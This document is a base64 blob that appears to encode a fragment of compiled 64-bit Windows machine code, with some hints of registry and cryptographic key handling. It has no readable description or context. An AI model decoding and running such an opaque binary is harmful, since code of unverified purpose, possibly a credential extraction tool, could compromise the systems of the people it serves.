L0EiNDaiUCADo69P3/0iLzv8Vsi8FAEiNDRvBBQDo1tP3/0H/xEQ7ZzwPgmb+//9Ii03HM9L/FRUmBQBIi03P/xWDLwUASYtOGEiFyXQG/xV0LwUASYteMEiF23QYSItLJEiFyXQG/xVcLwUASIvL/xVTLwUASYvO/xVKLwUASItN1/8VQC8FAOsU/xVYLwUAi9BIjQ2HlAgA6FrT9/9Ii8/opkj3/0iLTd//FRgvBQDrIv8VMC8FAIvQSI0N75QIAOgy0/f/6wxIjQ1xlQgA6CTT9/9MjZwkwAAAADPASYtbMEmLczhJi+NBX0FeQVxfXcPMzEiLxEiJWAhIiXAQSIl4GEyJcCBVSIvsSIPsYEiL2kWL8UiNFaSVCABBi/hIi/HoNUIDAEiFwA+EigAAAIP/FA+CtAEAAEiLQwRIOwUM1QUAD4WjAQAASItDDEg7BQPVBQAPhZIBAABIjUXwRYvOSI01f5UIAEUzwEiJdCRIi9dIiUQkQEiLy0iNRfhIiUQkOEiNBaXFBQDHRCQwSgAAAEiJRCQoSItFMEiJRCQg6HbF//+FwA+EPwEAAEiNDWuVCADpDAEAAEiNFYeVCABIi87ok0EDAEiFwA+EGwEAAEiNDZeVCADoGtL3/4P/FA+CBgEAAEiL00iNDdeVCADo+hcFAIXAD4XvAAAAi1MMSI014JQIAEiLfTCF0nRoSIl0JEhIjUXwSIlEJEBIjUsUSI1F+EWLzkiJRCQ4RTPAg2QkMABIg2QkKABIiXwkIOjWxP//hcB0LkiNDc+UCADootH3/4tV8EiLTfjoMjj4/0iNDc++BQDoitH3/0iLTfj/FVAtBQCLUxCF0nRui0MMSI1LFEiJdCRISAPISI1F8EWLzkiJRCRARTPASI1F+EiJRCQ4g2QkMABIg2QkKABIiXwkIOhhxP//hcB0LkiNDRKVCADoLdH3/4tV8EiLTfjovTf4/0iNDVq+BQDoFdH3/0iLTfj/FdssBQBMjVwkYEmLWxBJi3MYSYt7IE2LcyhJi+Ndw8xIiVwkEEiJdCQYV0iD7ECLAUUz0kiLdCRwSIva/8jHRCRQAQAAAIP4Yk2L2UiLRCR4SIv5QQ+WwkiLy0GL0oPyAUSJEESNSgFBweEEjRRVDmYAAEWF0k0PRMNIg2QkMABIiXQkKINkJCAA6LlM9/+L2IXAdDRIiw5MjUQkUEUzyUGNUQT/FeYiBQCDfxwAdBlMi0cgTYXAdBBIiw5FM8lBjVEB/xXHIgUASIt0JGCLw0iLXCRYSIPEQF/DzEiJXCQIVVZXQVZBV0iL7EiD7HBIg2QkIABMjU1ITI0FvFAIAEiL+ovx6BY8+P+FwA+E6gMAAEiLTUhMjUXkRTPJSI1V+Og6rvf/hcAPhLgDAABIi0346DG29/9Ii9hIhcAPhJcDAABIi9DoSbf3/4tTIEiNBcOTCABIi0tITI09CJQIAEiJRCRIRIvOSI1FQEUzwEiJRCRASI1F6EiJRCQ4x0QkMBEAAABMiXwkKEiJfCQg6KDC//+FwHQli1VARTPASItN6OjhOPj/SI0NorwFAOhdz/f/SItN6P8VIysFAItTEEiNBcGTCABIi0tARIvOSIlEJEhFM8BIjUVASIlEJEBIjUXoSIlEJDiDZCQwAEiDZCQoAEiJfCQg6DfC//9Jg87/hcAPhNEAAACLVUBFM8BIi03o6HA4+P9IjQ0xvAUA6OzO9/9Ei01ASI1FSEyLReiLUwxIi0s4SIlEJDhIjUXgSIlEJDBIjUXwSIlEJCjHRCQgACQAAOipuPf/hcB0cUiLSyhIhcl0XkmL1kj/woA8EQB19+j3Nfj/TIv4SIXAdD6LVUhBuQIAAABIi03wRTPAx0QkQAEAAABIiUQkOEiNBTOTCABIiUQkKIlUJCCLVeDoApQAAEmLz/8VISoFAEyNPaKSCABIi03w/xUQKgUASItN6P8VBioFAItTJEiNBRSTCABIi0tgRIvOSIlEJEhFM8BIjUVASIlEJEBIjUXoSIlEJDjHRCQwEQAAAEyJfCQoSIl8JCDoGMH//4XAdCWLVUBFM8BIi03o6Fk3+P9IjQ0auwUA6NXN9/9Ii03o/xWbKQUAi1MYSI0F+ZIIAEiLS1hEi85IiUQkSEUzwEiNRUBIiUQkQEiNRehIiUQkOINkJDAASINkJCgASIl8JCDor8D//4XAD4TMAAAASIt16EUzwItVQEiLzujpNvj/SI0NqroFAOhlzff/RItNQEiNRUiLUxRMi8ZIi0tQSIlEJDhIjUXgSIlEJDBIjUXwSIlEJCjHRCQgAKQAAOgjt/f/hcB0a0iLSyhIhcl0WEn/xkKAPDEAdfZJi9bocDT4/0iL+EiFwHQ+i1VIQbkBAAAASItN8EUzwMdEJEABAAAASIlEJDhIjQVskggASIlEJCiJVCQgi1Xg6HuSAABIi8//FZooBQBIi03w/xWQKAUASIvO/xWHKAUASItLKEiFyXQG/xV4KAUASItLMEiFyXQG/xVpKAUASItLOEiFyXQG/xVaKAUASItLQEiFyXQG/xVLKAUASItLSEiFyXQG/xU8KAUASItLUEiFyXQG/xUtKAUASItLWEiFyXQG/xUeKAUASItLYEiFyXQG/xUPKAUASIvL/xUGKAUASItN+P8V/CcFAOsi/xUUKAUAi9BIjQ3DkQgA6BbM9//rDEiNDTWSCADoCMz3/0iLnCSgAAAAM8BIg8RwQV9BXl9eXcPMzEiJVCQQiUwkCFVTVldBVEFWQVdIi+xIg+xwRTPkTI1NWEwhZCQgTI0Fb0wIAEiL+ovx6Mk3+P+FwA+EhwIAAEiLTVhMjUXgRTPJSI1V+Ojtqff/hcAPhFUCAABIi0346GC39/9Ii9hIhcAPhDQCAABIi9DoJLj3/4tTFEiNBVaSCABIi0tARIvOSIlEJEhFM8BIjUVQSIlEJEBIjUXoSIlEJDhIjQVukggAx0QkMBEAAABIiUQkKEiJfCQg6FO+//+FwA+EjgAAAItVUEyNTVhIi03oTI1F8Oh7uff/hcB0bIt1WDPJSItV8ESLxuj+uvf/RTP/hfZ0RkyLdfBJiz6DfwwWciBIi1cUSI0Np5EIAEG4FgAAAOi8CgUAhcB1BoN/EAR0DkH/x0mDxghEO/5zCevJSItHHESLIEiLfUhIi03wi9boKrr3/4t1QEiLTej/FWkmBQCLUxhIjQXPkQgASItLSESLzkiJRCRIRTPASI1FUEiJRCRASI1F6EiJRCQ4SI0F35EIAMdEJDARAAAASIlEJChIiXwkIOh0vf//hcAPhLEAAABIi33oRYXkdB9IjU8ERTPAM9LoZe4CAEiNDWq3BQDoJcr3/+mAAAAAi1VQRTPASIvP6Ioz+P9IjQ1LtwUA6AbK9/+LUwi5QAAAAEiDwgL/FfwlBQBIi/BIhcB0TESLQwhIi8hIi1Ms6IRDAwCLVVBIjQWySQgAx0QkQAEAAABBg8n/SIl0JDhBuAEAAABIiUQkKEiLz4NkJCAA6FGPAABIi87/FXAlBQBIi8//FWclBQBIi0ssSIXJdAb/FVglBQCLUzSF0nQOSItLOEiFyXQF6Pe49/9Ii0tASIXJdAb/FTQlBQBIi0tISIXJdAb/FSUlBQBIi8v/FRwlBQBIi034/xUSJQUA6yL/FSolBQCL0EiNDcmQCADoLMn3/+sMSI0NO5EIAOgeyff/M8BIg8RwQV9BXkFcX15bXcPMSIlcJAhVVldBVkFXSIPsYEiDZCQgAEyNTCRQTI0FlkkIAEiL6kSL8ejvNPj/hcAPhIcBAABIi0wkUEyNhCSgAAAARTPJSI1UJFjoDaf3/4XAD4RPAQAAg7wkoAAAAAhIi3wkWA+GJQEAAEG/UEtTUEQ5Pw+FDQEAAIuEJKAAAABEOXw4/A+F+wAAAEiNXwTp5QAAAIvQSI0NH5EIAOhqyPf/iwNIjXMILQMAAAF0Vy39//8AdDmD+AR0K0iNDdKRCADoRcj3/4tTBEUzwEiLzuivMfj/SI0NcLUFAOgryPf/6YkAAABIjQ1/kQgA6wdIjQ02kQgAi1METIvGSNHq6AjI9//raUiNDb+QCADo+sf3/4tTBEiNBeCQCABIiUQkSEWLzkiNhCSoAAAARTPASIlEJEBIi85IjUQkUEiJRCQ4g2QkMABIg2QkKABIiWwkIOjauv//hcB0FUiLTCRQ6HwAAABIi0wkUP8VbSMFAItDBEiDwwhIA9iLA0E7xw+FEP///+sVSI0NJ5EIAOsHSI0NfpEIAOhxx/f/SIvP/xU4IwUA6yL/FVAjBQCL0EiNDa+RCADoUsf3/+sMSI0NIZIIAOhEx/f/SIucJJAAAAAzwEiDxGBBX0FeX15dw8zMSIlcJAhIiXQkEFdIg+wggTlQQ1BNSIvZD4XjAQAAi3EESI08MYP+FA+EgQEAAI1GzKn7////dAxIjQ11lQgA6bYBAABIjQV5pAYAg/40SI0VG5MIAEgPRNBIjQ0UkwgA6MfG9/+LUwhIjQ1lkggA6LjG9/+LUwxIjQ2OkggA6KnG9/9IjQ0ykwgA6J3G9/+LUxBFM8BIi8/oBzD4/4tDEEiNDUWTCABIA/jofcb3/4tTFEUzwEiLz+jnL/j/i0MUSI0NVZMIAEgD+Ohdxvf/i1MYRTPASIvP6Mcv+P+LQxhIjQ1lkwgASAP46D3G9/+LUxxFM8BIi8/opy/4/4tDHEiNDXWTCABIA/joHcb3/4tTIEUzwEiLz+iHL/j/i0MgSI0NhZMIAEgD+Oj9xff/i1MkRTPASIvP6Gcv+P+LQyRIjQ2VkwgASAP46N3F9/+LUyhFM8BIi8/oRy/4/4tDKEiNDaWTCABIA/jovcX3/4tTLEUzwEiLz+gnL/j/i0MsSI0NtZMIAEgD+Oidxff/i1MwRTPASIvP6Acv+P+D/jR0bQ+3UzRIjQ2/kwgA61tIjQ3ekAgA6HHF9/+LUwhIjQ0PkQgA6GLF9/+LUwxIjQ04kQgA6FPF9/9IjQ1kkQgA6EfF9/+LUxBFM8BIi8/osS74/0iNDXKyBQDoLcX3/+sOixFIjQ0qlAgA6B3F9/9Ii1wkMEiLdCQ4SIPEIF/DzEiJXCQIVVZXSIvsSIPsQEiDZTAATI1NMEiDZCQgAEyNBW+UCABIi/qL8ejtMPj/hcAPhJ0AAABIi00w6Iws+P9Ii9hIhcAPhJcBAABIi8j/FdceBQC/FAAAADvHfQtIi8v/FcUeBQCL+I1XAblAAAAA/xWdIAUASIvwSIXAdEeF/3QoSI0NClwGAESLz0iL00yLwEgr0UwrwYoECjIBQYgECEj/wUmD6QF17kyLxkiNDe+TCABIi9PoT8T3/0iLzv8VFiAFAEiLy/8VDSAFAOkPAQAASINkJCAATI1NMEyNBTeUCABIi9eLzugtMPj/hcAPhIMAAABIg2QkMABFM8mDZCQoALoAAACASItNMMdEJCADAAAARY1BAf8V7B8FAEiD+P90PkUzwEyNTTBIi9BBjUgB6Lvn9/9Ii10whcB0GEyLz0SLxjPSSIvL6KMAAABIi8voL+n3/0iLy/8Vih8FAOt//xWSHwUAi9BIjQ3BkwgA6JTD9//raUyNTTBFM8Az0jPJ6Grn9/+FwHRVSItdMEiNRThIiUQkKEyNBRqUCABIi8vHRCQgGQACAEjHwgIAAIDoM+n3/4XAdB5Ii1U4TIvPRIvGSIvL6CUAAABIi1U4SIvL6CH09/9Ii8vopej3/0iLXCRgM8BIg8RAX15dw8zMSIvESIlYCEiJcBBIiXggRIlAGFVBVEFVQVZBV0iNaMhIgewQAQAASI1EJHhNi+lIiUQkKEyNBaWTCADHRCQgGQECAEiL2eit6Pf/hcAPhNkBAABIg2QkUABIjUQkcEiDZCRIAEUzyUiDZCRAAEUzwEiLVCR4SIvLSIlEJDBIjUQkdEiJRCQo6PTq9/+FwA+EdwEAAItEJHC5QAAAAP/AiUQkcI1QAUgD0v8VcR4FAEiL+EiFwA+EZAEAADP2OXQkdA+GOQEAAItMJHBIjUWASItUJHhMi8+JTYBEi8ZIi8tIiUQkIOhC7/f/hcAPhAIBAABIi9dIjQ0ckwgA6BfC9/9Ii8/ozyn4/0yL8EiFwA+E3wAAAEiLyP8VGhwFAEiNTaBEi+D/FZ0kBQBBv7YFAABFi8RIjU2gSYvW/xVvJAUASYPvAXXqSI1NoP8VZyQFAPMPb0X4RTPAQY1XEEiNTZBmD+8FV1kGAPMPf0WQ6B0r+P9IjQ2ykggA6JnB9/9Ii1QkeEiNRYhIiUQkKEyLx0iLy8dEJCAZAAIA6Fjn9/+FwHQzSI0Nra4FAOhowff/RItNUEyNRZBIi1WISIvLTIlsJCDohwAAAEiLVYhIi8voM/L3/+sU/xUrHQUAi9BIjQ1KkggA6C3B9/9Ji87/FfQcBQD/xjt0JHQPgsf+//9Ii8//Fd8cBQDrFP8V9xwFAIvQSI0NxpIIAOj5wPf/SItUJHhIi8vo3PH3/0yNnCQQAQAASYtbMEmLczhJi3tISYvjQV9BXkFdQVxdw8zMzEyL3EmJWwhJiXMQSYl7IE2JQxhVQVRBVUFWQVdJjWupSIHsoAAAAEiNRQNFM/ZJiUOIRYvpSI1F/0UzyUmJQ4BFM8BIjUULTIv6SIlEJEBMi+FMiXQkMEyJdCQo6M/o9/+FwA+ENQEAAItF/0GNXkD/wIvLiUX/jVABSAPS/xVNHAUASIvwSIXAD4QPAQAAi1UDi8v/FTYcBQBIi/hIhcAPhO8AAABBi95EOXULD4bZAAAATIt1f4tN/0iNRQdIiUQkQEyLzolND0iNRROLTQNEi8NIiXwkOEmL10iJRCQwSI1FD4lNB0mLzEiJRCQg6ITu9/+FwA+EhQAAAEiL1kiNDQJ8CADovb/3/4tVE4P6A3ViSINkJEgASI1FF4tVB0WLzUiJRCRARTPASI1FH0iLz0iJRCQ4SItFb8dEJDAQAAAASIlEJChMiXQkIOiasv//hcB0K0yLRR9IjQ3nkQgAi1UX6F+/9/9Ii00f/xUlGwUA6wxIjQ0EkggA6Ee/9///wztdCw+CK////0iLz/8VAxsFAEiLzv8V+hoFAEyNnCSgAAAASYtbMEmLczhJi3tISYvjQV9BXkFdQVxdw8xIi8RIiVgISIlwEFdIg+wwSINg6ABMjUggTI0FlD8IAEiL+ovx6O4q+P+FwA+E1QAAAOjtPvj/SIvYSIXAD4TQAAAASItUJFhIi8joYD/4/4XAD4SkAAAATIsLTI1EJFBIjRUBkggASIvLQf+RKAEAAIXAdUlIi0wkUEiFyXQ/SI0V+pEIAOidAAAAhcB1HkiLTCRQSI0VPZIIAOiIAAAAhcB1CUiNDXWSCADrSkiLTCRQTIvHi9bowAIAAOs+SIsDTI1EJFBIjRX7kggASIvL/5AoAQAAhcB1FkiLTCRQSIXJdAxMi8eL1uheAQAA6wxIjQ3pkggA6Ay+9/9IiwNIi8v/UBDrDEiNDWKTCADo9b33/0iLXCRAM8BIi3QkSEiDxDBfw8zMzEiJXCQQVVZXSIvsSIPsQEiLAUyNRfBIi/Iz/0iNFaKTCAD/kCgBAACFwA+F2QAAAEiLTfBIhckPhMwAAABIiwFMjUXgSI0VgZMIAP+QIAEAAIXAD4WnAAAASItN4EiFyQ+EmgAAAEiLAUiNVSD/UECFwA+FnQAAADPbOV0gD46SAAAAhf8PhYoAAABIi03gTI1FOIvTSIsB/1A4hcB1WEiLTThIhcl0T0iLAUiNVTD/UFCFwHU3g30wAXUxSItNOEiNVehIiwH/kNAAAACFwHUcSItN6EiL1ujvewMASItN6IXAQA+Ux/8V2xkFAEiLTThIiwH/UBD/wztdIHyF6xVIjQ3RkggA6wdIjQ1YkwgA6Mu89/9Ii1wkaIvHSIPEQF9eXcNIiVwkEEiJdCQYVVdBVkiL7EiD7GBIiwFEi/JIjVXwSYvwSIvZ/1A4hcAPhesAAABIi03wSI0VhZMIAOhoewMASItN8DP/hcBAD5TH/xVSGQUASIsDSI1V8EiLy/+Q0AAAAIXAD4WxAAAAhf8PhI8AAABIi03wTI1FIEiNVfjoGSX4/4XAD4SGAAAASItd+DPJSIvT6FNw9/9Ig2QkSABIjUU4i1UgRYvOSIlEJEBFM8BIjUX4SIvLSIlEJDiDZCQwAEiDZCQoAEiJdCQg6A6v//+FwHQgi1U4SI0N7JIIAEyLRfhI0ero0Lv3/0iLTfj/FZYXBQBIi8v/FY0XBQDrEEiLVfBIjQ3okggA6Ku79/9Ii03w/xWJGAUATI1cJGBJi1soSYtzMEmL40FeX13DSIlcJBBIiXQkGFVXQVZIi+xIg+xASIsBSYvwRIvyTI1F8EiNFaOSCAD/kCgBAACFwA+F6AAAAEiLTfBIhckPhNsAAABIiwFIjVXo/1BghcAPhdUAAABIi03oSI1VIEiLAf9QQIXAD4WnAAAAM9s5XSAPjpwAAABIi03oTI1F4IvTSIsB/1A4hcB1fUiLTeBIhcl0dEiLAUiNVTj/UFCFwHVQg304AXVKSItN4EiNFSWSCADoIDz4/0iL+EiFwHQpSIvQSI0NCgQIAOi9uvf/SIvP/xWEFgUASItN4EyLxkGL1ujp/f//6xVIjQ30kQgA6wdIjQ1bkggA6I669/9Ii03gSIsB/1AQ/8M7XSAPjGT///9Ii03oSIsB/1AQ6wxIjQ2ekggA6GG69/9Ii1wkaEiLdCRwSIPEQEFeX13DzMxIi8RIiVgISIlwEFdIg+wwSINg6ABMjUggTI0F2DoIAEiL+ovx6DIm+P+FwHR/6DU6+P9Ii9hIhcB0fkiLVCRYSIvI6Kw6+P+FwHRWTIsLTI1EJFBIjRWZkggASIvLQf+RKAEAAIXAdTlIg3wkUAB0MUiNDZySCADoz7n3/0iLVCRQTIvPRIvG6D8AAABIi1QkUEyLz0SLxrkBAAAA6AYBAABIiwNIi8v/UBDrDEiNDXCSCADok7n3/0iLXCRAM8BIi3QkSEiDxDBfw8xIiVwkGIlMJAhVVldIi+xIg+xASIsCQYvwSIvKTI1F8EiNFZmSCABJi/n/kCgBAACFwA+FlwAAAEiLTfBIhckPhIoAAABIiwFMjUXoSI0VlZIIAP+QIAEAAIXAdXJIi03oSIXJdGlIiwFIjVUg/1BAhcB1WzPbOV0gflRIi03oTI1F4IvTSIsB/1A4hcB1OUiLTeBIhcl0MEiLAUiNVSj/UFCFwHUYg30oAXUSSItV4I1IAkyLz0SLxujKAgAASItN4EiLAf9QEP/DO10gfKxIi1wkcEiDxEBfXl3DSIlcJAhIiXQkGFVXQVRBVkFXSIvsSIPsYE2L+UWL4EyL8ovx6CMCAABJiwZMjUXgSI0VlV4HAEmLzv+QIAEAAIXAD4XlAAAASItN4EiFyQ+E2AAAAEiLAUiNVTj/UECFwA+FxgAAADPbOV04D467AAAASItN4EyNRciL00iLAf9QOIXAD4WYAAAASItNyEiFyQ+EiwAAAEiLAUiNVdj/UFCFwHVzg33YAXVtSItNyEyNRfBIjRWKkQgASIsB/5AoAQAAhcB1P0iLTfBIhcl0NkiNFYWRCADoIDr4/0iL+EiFwHQijRQ2TIvITI0FS5UGAEiNDYyRCADop7f3/0iLz/8VbhMFAEiLVciNTgFNi89Fi8ToNAEAAEiLTchIiwH/UBD/wztdOA+MRf///0mLBkyNRehIjRX5kAgASYvO/5AgAQAAhcAPheUAAABIi03oSIXJD4TYAAAASIsBSI1VwP9QQIXAD4XGAAAAM9s5XcAPjrsAAABIi03oTI1F0IvTSIsB/1A4hcAPhZgAAABIi03QSIXJD4SLAAAASIsBSI1V3P9QUIXAdXODfdwBdW1Ii03QTI1F+EiNFYaQCABIiwH/kCgBAACFwHU/SItN+EiFyXQ2SI0VgZAIAOgcOfj/SIv4SIXAdCKNFDZMi8hMjQVHlAYASI0NcJAIAOijtvf/SIvP/xVqEgUASItV0I1OAU2Lz0WLxOjk/f//SItN0EiLAf9QEP/DO13AD4xF////TI1cJGBJi1swSYtzQEmL40FfQV5BXF9dw8zMSIlcJAhIiXQkGFdIg+wgSIsCTIvSQYv4SI0VMZAIAIvxTI1EJDhJi8pJi9n/kCgBAACFwHUXSItUJDhIhdJ0DUyLy0SLx4vO6BMAAABIi1wkMEiLdCRASIPEIF/DzMzMSIlcJAhIiWwkEEiJdCQYV0FUQVVBVkFXSIPsYEiL6ovZSIvNSI0V7Y8IAE2L4UWL6OgaOPj/RI08G0iL+EiFwHQiTIvITI0FRJMGAEGL10iNDdqPCADonbX3/0iLz/8VZBEFAEiNFe08CABIi83o3Tf4/0iL8EiFwA+EWQEAAEiNFdKPCABIi83owjf4/0iNFcNBCABIi81Mi/DosDf4/0yNDcmPCABIiXQkKEmLyUyNBdqSBgBNhfZBi9dIi+hJD0XOSIXASIlMJCBIjQ2ujwgATA9FyOgdtff/TI1EJFBIi85IjVQkWOh3Jfj/hcAPhL4AAACLVCRQSIt8JFiD+hQPgpcAAABIi0cESDsFPrcFAHV8SItHDEg7BTm3BQB1b0iDZCRIAEiNRCRUSIlEJEBFi81IjUQkWEUzwEiJRCQ4SIvPg2QkMABIg2QkKABMiWQkIOjDp///hcB0TUSLTCRUTI0FJ5IGAEiLXCRYSI0NO48IAEnR6UGL10iJXCQg6HO09/9Ii8v/FToQBQDrGkiNDVmPCADoXLT3/+sMSI0N648IAOhOtPf/SIvP/xUVEAUASIXtdAlIi83/FQcQBQBNhfZ0CUmLzv8V+Q8FAEiLzv8V8A8FAEyNXCRgSYtbMEmLazhJi3NASYvjQV9BXkFdQVxfw8zMSIlcJAhIiXQkEFVXQVZIjWwkuUiB7LAAAABFM/ZIjUUvSIv6TIl1L4vxTIl1D0yNDcMZBQBMiXUnRY1GAUyJdecz0kSJdX9IjQ16GgUASIlEJCD/FQcYBQCFwA+FNAQAAEiLTS9IjVUPSIlUJEBFM8lMiXQkOEiNFduVCABMiXQkMEUzwEiLAUSJdCQoTIl0JCD/UBiFwA+F3gMAAEiLTQ9BjUYDRIl0JDiNUAdMiXQkMEUzyYlEJChFM8CJRCQg/xWCFwUAhcAPhZMDAABIi00PSI1VJ0iJVCQoRY1OMEyNBcKVCABMiXQkIEiNFQaWCABIiwH/kKAAAACFwA+FVQMAAEiLTSdIjVV/SIlUJCBMjU3nQbgBAAAAg8r/SIsB/1AghcAPhQ4DAABIjQ0OoAUA6Mmy9/9EOXV/D4TnAgAASItN50yNTe9MiXQkKEiNFauVCABFM8BMiXQkIEiLAf9QIIXAdRpIi1X3SI0NppUIAOiJsvf/SI1N7/8Vdw8FAEiLTedMjU3vTIl0JChIjRWrlQgARTPATIl0JCBIiwH/UCCFwHUaSItV90iNDa6VCADoSbL3/0iNTe//FTcPBQBIi03nTI1N70yJdCQoSI0Vs5UIAEUzwEyJdCQgSIsB/1AghcB1GkiLVfdIjQ22lQgA6Amy9/9IjU3v/xX3DgUASItN50yNTe9MiXQkKEiNFbuVCABFM8BMiXQkIEiLAf9QIIXAdVBIi033RI1ACjPS6BqPAwBIjQ2zlQgASIlFN+i6sff/SI1VP0iNTTf/FUQNBQCFwHQJSI1NP+jXG/j/SI0N2J4FAOiTsff/SI1N7/8VgQ4FAEiLTedMjU3vTIl0JChIjRWNlQgARTPATIl0JCBIiwH/UCCFwA+FmQAAAEiLVfdIjQ2clQgA6E+x9/9Ii033TI1FF0iNVR/o/gEAAIXAdGhIi10fSI1Fd0yJdCRIRIvOSIlEJEBFM8BIjUUHixNIjUsESIlEJDhEiXQkMEyJdCQoSIl8JCDoI6T//4XAdCCLVXdIjQ1hlQgATItFB0jR6ujlsPf/SItNB/8VqwwFAEiLy/8VogwFAEiNTe//FcANBQDrDovQSI0NZZUIAOi4sPf/SItN50yNTe9MiXQkKEiNFRSWCABFM8BMiXQkIEiLAf9QIIXAD4WZAAAASItV90iNDYOMCADofrD3/0iLTfdMjUUXSI1VH+gtAQAAhcB0aEiLXR9IjUV3TIl0JEhEi85IiUQkQEUzwEiNRQeLE0iNSwRIiUQkOESJdCQwTIl0JChIiXwkIOhSo///hcB0IItVd0iNDUiMCABMi0UHSNHq6BSw9/9Ii00H/xXaCwUASIvL/xXRCwUASI1N7/8V7wwFAOsOi9BIjQ1EjAgA6Oev9/9Ii03nSIsB/1AQ6dv8//9IjQ35jAgA6Myv9//pyvz//4P4AXQOi9BIjQ1hjQgA6LSv9/9Ii00nSIsB/1AQ6xdIjQ35jQgA6wdIjQ2QjggAi9Doka/3/0iLTQ9IiwH/UBDrDovQSI0NFI8IAOh3r/f/SItNL0iLAf9QEOsOi9BIjQ2qjwgA6F2v9/9MjZwksAAAADPASYtbIEmLcyhJi+NBXl9dw8zMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7DBMi/JJi+hIjRUCkAgASIvZM/bodB4DAEiL+Eg7w3U9SIPHRkiNFS2QCABIi8/oWR4DAEiFwHQcSCvHSIlsJCBI0fhNi86L0EiLz+j8Svf/i/DrFUiNDSWQCADrB0iNDZyQCADov673/0iLXCRAi8ZIi3QkUEiLbCRISIt8JFhIg8QwQV7DzMxIiVwkCFVWV0FWQVdIjWwkyUiB7JAAAABIg2QkIABMjU0fTI0Fh34IAEyL8kSL+eh8Gvj/hcAPhI8AAABIg2QkMABFM8mDZCQoALoAAACASItNH8dEJCADAAAARY1BAf8VOwoFAEiL2EiD+P90REUzwEyNTR9Ii9BBjUgB6AfS9/+FwHQfSItNH0WLz0UzwEyJdCQgM9Lo8QEAAEiLTR/oeNP3/0iLy/8V0wkFAOnBAQAA/xXYCQUAi9BIjQ2HkwgA6Nqt9//pqAEAAEyNTR9FM8Az0jPJ6K3R9/+FwA+EkAEAAEiLXR9IjUUnSIlEJChIi8tFM8DHRCQgCAAAAEjHwgMAAIDodtP3/4XAD4RFAQAASINkJFAASI1Fd0iDZCRIAEUzyUiDZCRAAEUzwEiLVSdIi8tIiUQkMEiNRX9IiUQkKOjA1ff/hcAPhPkAAACLRXe5QAAAAP/AiUV3jVABSAPS/xU/CQUASIv4SIXAD4TUAAAAM/Y5dX8PhsAAAACLTXdIjUUXSItVJ0yLz4lNF0SLxkiLy0iJRCQg6BPa9/+FwA+EjAAAAEiNFfiSCABIi8/oTBwDAEiFwHV4SIvXSI0NuYIHAOjUrPf/SItVJ0iNRS9IiUQkKEyLx0iLy8dEJCAZAAIA6JTS9/+FwHQxSI0N6ZkFAOikrPf/SItVL0WLz0yLx0yJdCQgSIvL6HkAAABIi1UvSIvL6HHd9//rFP8VaQgFAIvQSI0NmJIIAOhrrPf//8Y7dX8PgkD///9Ii8//FScIBQBIi1UnSIvL6Dvd9//rFP8VMwgFAIvQSI0NYpIIAOg1rPf/SIvL6KnR9/9Ii5wkwAAAADPASIHEkAAAAEFfQV5fXl3DSIvESIlYCEiJcBBIiXgYVUFWQVdIjWipSIHsoAAAAEiNRR9Ji9gPV8BIiUQkKEyNBYeSCADHRCQgGQECAEWL+UiL8fMPf0UvRTP26KTR9/+FwA+EBAIAAEiF2w+EkgAAAEiLVX9MjQWIkggATCF0JCBFM8lBi8/oqBf4/4XAdHNIi9NIjQ2CkggA6IWr9/9IjVUvSIvL/xWo/wQAhcB0P0iNVS9IjQ3RAQAA6Ogn+P9Ei/CFwHQZSI0NZkQIAOhRq/f/SItNNzPS6ObTAQDrI/8VLgcFAEiNDZ+SCADrDf8VHwcFAEiNDWCTCACL0Oghq/f/SINkJFAASI1FD0iDZCRIAEUzyUiDZCRAAEUzwEiLVR9Ii85IiUQkMEiNRRNIiUQkKOhT0/f/hcAPhOgAAACLRQ+5QAAAAP/AiUUPjVABSAPS/xXSBgUASIv4SIXAD4TXAAAAM9s5XRMPhq0AAACLTQ9IjUUXSItVH0yLz4lNF0SLw0iLzkiJRCQg6KbX9/+FwHR9SIvXSI0NhHsIAOh/qvf/SItVH0iNRSdIiUQkKEyLx0iLzsdEJCAZAAIA6D/Q9/+FwHQ2SI0NlJcFAOhPqvf/SItFN0WLx0yLTX9Ii85Ii1UnSIlEJCDocwEAAEiLVSdIi87oF9v3/+sU/xUPBgUAi9BIjQ3ekggA6BGq9///wztdEw+CU////0iLz/8VzQUFAOsU/xXlBQUAi9BIjQ1UkwgA6Oep9/9Ii00vSIXJdAb/FagFBQBFhfZ0D0iLTTdIhcl0Bv8VpAUFAEiLVR9Ii87oqNr3/0yNnCSgAAAASYtbIEmLcyhJi3swSYvjQV9BXl3DzMzMSIvESIlYCEiJcCBXSIPscEmL8MdAEAEAAACL2kiL+f8VSwIFADvYD4SNAAAAQbk4AAAASI2EJJAAAABMjUQkMEiJRCQgSIvPQY1R0v8VNv0EADPbhcB0YkiLFkyNhCSIAAAASIvPiZwkiAAAAOiaIvj/OZwkiAAAAHQ4g3wkSAGNQwNEi0wkTI1TDEQPRMhIi89IjUYIRTPASIlEJCjHRCQgAgAAAP8V9PwEAIXAD5TD6w67AQAAAOsHi5wkiAAAAEyNXCRwi8NJi1sQSYtzKEmL41/DzMzMTIvcSYlbCEmJcxBJiXsYTYljIFVBVkFXSIvsSIPscEiNReBNi/lJiUOgRYvgSI1F8EUzyUyNBY2SCABJiUOYSIvyTIvxM//oLNr3/4XAdB1Mi0XwSI0NfZIIAItV4OhdqPf/SItN8P8VIwQFAEiNReBIi9ZIiUQkKEyNTeRIjUXwSYvOTI0FdZIIAEiJRCQg6OPZ9/+FwHQvi1XkSItd8IP6BHUOixNIjQ1ikggAiVXk6wdIjQ1+kggA6AGo9/9Ii8v/FcgDBQA5feQPhakAAABIjUXgRTPJSIlEJChFM8BIjUXwSIvWSYvOSIlEJCDohNn3/4XAD4SKAAAASItVQEiF0nQKM8n/FQv8BACL+EiDZCRIAEiNReiLVeBFi8xIi03wRTPASIlEJEBIjUX4SIlEJDiDZCQwAEiDZCQoAEyJfCQg6Jua//+FwHQTSItN+OhOAAAASItN+P8VMAMFAIX/dAoz0jPJ/xWq+wQASItN8P8VGAMFAOsMSI0NN5IIAOg6p/f/TI1cJHBJi1sgSYtzKEmLezBNi2M4SYvjQV9BXl3DiVQkEEyL3FNWV0FUQVVBVkFXSIHsoAAAADP/iXwkQMdEJEhSU0Eyx0QkTAAEAACLEQ/Ki9JIA9FEi0oEQQ/JRIlMJFRIg8IISIlUJGhFi/FJA9ZEiwJBD8hEiUQkUEiDwgRIiVQkYEWL+EkD14sKD8mLyUiDwQRIA8qLEQ/Ki9JIA9GLQgQPyIlEJFhIg8IISIlUJHBEi+BGiywiQQ/NRYlrhEiNSgRJA8xIiUwkeEGNDABBg8EYQQPJQQPNQYlLEIvRjU9A/xVYAgUASIvwSImEJIAAAABIhcAPhGICAAAPEEQ